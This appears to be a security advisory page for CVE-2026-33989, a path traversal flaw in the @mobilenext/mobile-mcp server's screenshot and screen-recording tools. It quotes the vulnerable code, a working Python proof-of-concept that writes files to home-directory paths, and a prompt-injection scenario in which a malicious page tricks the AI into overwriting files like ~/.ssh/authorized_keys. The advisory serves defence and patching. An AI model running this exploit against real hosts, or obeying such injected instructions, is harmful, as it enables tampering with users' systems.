CVE-2026-33989 is a high-severity (CVSS 8.1) Path Traversal vulnerability in @mobilenext/mobile-mcp. A fix is available for @mobilenext/mobile-mcp — see the affected versions and patch details below.
@mobilenext/mobile-mcp alllows arbitrary file write via Path Traversal in mobile screen capture tools
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-33989.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
@mobilenext/mobile-mcpnpmDescription
Summary
The @mobilenext/mobile-mcp server contains a Path Traversal vulnerability in the mobile_save_screenshot and mobile_start_screen_recording tools. The saveTo and output parameters were passed directly to filesystem operations without validation, allowing an attacker to write files outside the intended workspace.
Details
File: src/server.ts (lines 584-592)
tool(
"mobile_save_screenshot",
"Save Screenshot",
"Save a screenshot of the mobile device to a file",
{
device: z.string().describe("The device identifier..."),
saveTo: z.string().describe("The path to save the screenshot to"),
},
{ destructiveHint: true },
async ({ device, saveTo }) => {
const robot = getRobotFromDevice(device);
const screenshot = await robot.getScreenshot();
fs.writeFileSync(saveTo, screenshot); // ← VULNERABLE: No path validation
return `Screenshot saved to: ${saveTo}`;
},
);
Root Cause
The saveTo parameter is passed directly to fs.writeFileSync() without any validation. The codebase has validation functions for other parameters (validatePackageName, validateLocale in src/utils.ts) but no path validation function exists.
Additional Affected Tool
File: src/server.ts (lines 597-620)
The mobile_start_screen_recording tool has the same vulnerability in its output parameter.
PoC
#!/usr/bin/env python3
import json
import os
import subprocess
import sys
import time
from datetime import datetime
SERVER_CMD = ["npx", "-y", "@mobilenext/mobile-mcp@latest"]
STARTUP_DELAY = 4
REQUEST_DELAY = 0.5
def log(level, msg):
print(f"[{level.upper()}] {msg}")
def send_jsonrpc(proc, msg, timeout=REQUEST_DELAY):
"""Send JSON-RPC message and receive response."""
try:
proc.stdin.write(json.dumps(msg) + "\n")
proc.stdin.flush()
time.sleep(timeout)
line = proc.stdout.readline()
return json.loads(line) if line else None
except Exception as e:
log("error", f"Communication error: {e}")
return None
def send_notification(proc, method, params=None):
"""Send JSON-RPC notification (no response expected)."""
msg = {"jsonrpc": "2.0", "method": method}
if params:
msg["params"] = params
proc.stdin.write(json.dumps(msg) + "\n")
proc.stdin.flush()
def start_server():
"""Start the mobile-mcp server."""
log("info", "Starting mobile-mcp server...")
try:
proc = subprocess.Popen(
SERVER_CMD,
stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
text=True,
)
time.sleep(STARTUP_DELAY)
if proc.poll() is not None:
stderr = proc.stderr.read()
log("error", f"Server failed to start: {stderr[:200]}")
return None
log("info", f"Server started (PID: {proc.pid})")
return proc
except FileNotFoundError:
log("error", "npx not found. Please install Node.js")
return None
def initialize_session(proc):
"""Initialize MCP session with handshake."""
log("info", "Initializing MCP session...")
resp = send_jsonrpc(
proc,
{
"jsonrpc": "2.0",
"id": 1,
"method": "initialize",
"params": {
"protocolVersion": "2024-11-05",
"capabilities": {},
"clientInfo": {"name": "mcpsec-exploit", "version": "1.0"},
},
},
)
if not resp or "error" in resp:
log("error", f"Initialize failed: {resp}")
return False
send_notification(proc, "notifications/initialized")
time.sleep(0.5)
server_info = resp.get("result", {}).get("serverInfo", {})
log("info", f"Session initialized - Server: {server_info.get('name')} v{server_info.get('version')}")
return True
def get_devices(proc):
"""Get list of connected devices."""
log("info", "Enumerating connected devices...")
resp = send_jsonrpc(
proc,
{
"jsonrpc": "2.0",
"id": 2,
"method": "tools/call",
"params": {"name": "mobile_list_available_devices", "arguments": {}},
},
)
if resp:
content = resp.get("result", {}).get("content", [{}])[0].get("text", "")
try:
devices = json.loads(content).get("devices", [])
return devices
except:
log("warning", f"Could not parse device list: {content[:100]}")
return []
def exploit_path_traversal(proc, device_id, target_path):
"""Execute path traversal exploit."""
log("info", f"Target path: {target_path}")
resp = send_jsonrpc(
proc,
{
"jsonrpc": "2.0",
"id": 100,
"method": "tools/call",
"params": {
"name": "mobile_save_screenshot",
"arguments": {"device": device_id, "saveTo": target_path},
},
},
timeout=2,
)
if resp:
content = resp.get("result", {}).get("content", [{}])
if isinstance(content, list) and content:
text = content[0].get("text", "")
log("info", f"Server response: {text[:100]}")
check_path = target_path
if target_path.startswith(".."):
check_path = os.path.normpath(os.path.join(os.getcwd(), target_path))
if os.path.exists(check_path):
size = os.path.getsize(check_path)
log("info", f"FILE WRITTEN: {check_path} ({size} bytes)")
return True, check_path, size
elif "Screenshot saved" in text:
log("info", f"Server confirmed write (file may be at relative path)")
return True, target_path, 0
log("warning", "Exploit may have failed or file not accessible")
return False, target_path, 0
def main():
device_id = sys.argv[1] if len(sys.argv) > 1 else None
proc = start_server()
if not proc:
sys.exit(1)
try:
if not initialize_session(proc):
sys.exit(1)
if not device_id:
devices = get_devices(proc)
if devices:
log("info", f"Found {len(devices)} device(s):")
for d in devices:
print(f" - {d.get('id')} - {d.get('name')} ({d.get('platform')}, {d.get('state')})")
device_id = devices[0].get("id")
log("info", f"Using device: {device_id}")
else:
log("error", "No devices found. Please connect a device and try again.")
log("info", "Usage: python3 exploit.py <device_id>")
sys.exit(1)
home = os.path.expanduser("~")
exploits = [
"../../exploit_2_traversal.png",
f"{home}/exploit.png",
f"{home}/.poc_dotfile",
]
results = []
for target in exploits:
success, path, size = exploit_path_traversal(proc, device_id, target)
results.append((target, success, path, size))
finally:
proc.terminate()
log("info", "Server terminated.")
if __name__ == "__main__":
main()
Impact
A Prompt Injection attack from a malicious website or document could trick the AI into overwriting sensitive host files (e.g., ~/.bashrc, ~/.ssh/authorized_keys, or .config files) leading to a broken shell.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | @mobilenext/mobile-mcp | all versions | 0.0.49npm install @mobilenext/mobile-mcp@0.0.49 |
Affected Products
mobile mcpmobilenexthqDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @mobilenext/mobile-mcp, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update @mobilenext/mobile-mcp to 0.0.49 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-33989 is resolved across your whole dependency graph.
Workarounds
Resolve every user-supplied path to its canonical form and reject anything that escapes the intended directory, and run the component under an account that has no read or write access outside the directory it legitimately serves.
Frequently Asked Questions
Is CVE-2026-33989 in your dependencies?
Find it across npm, including transitive dependencies.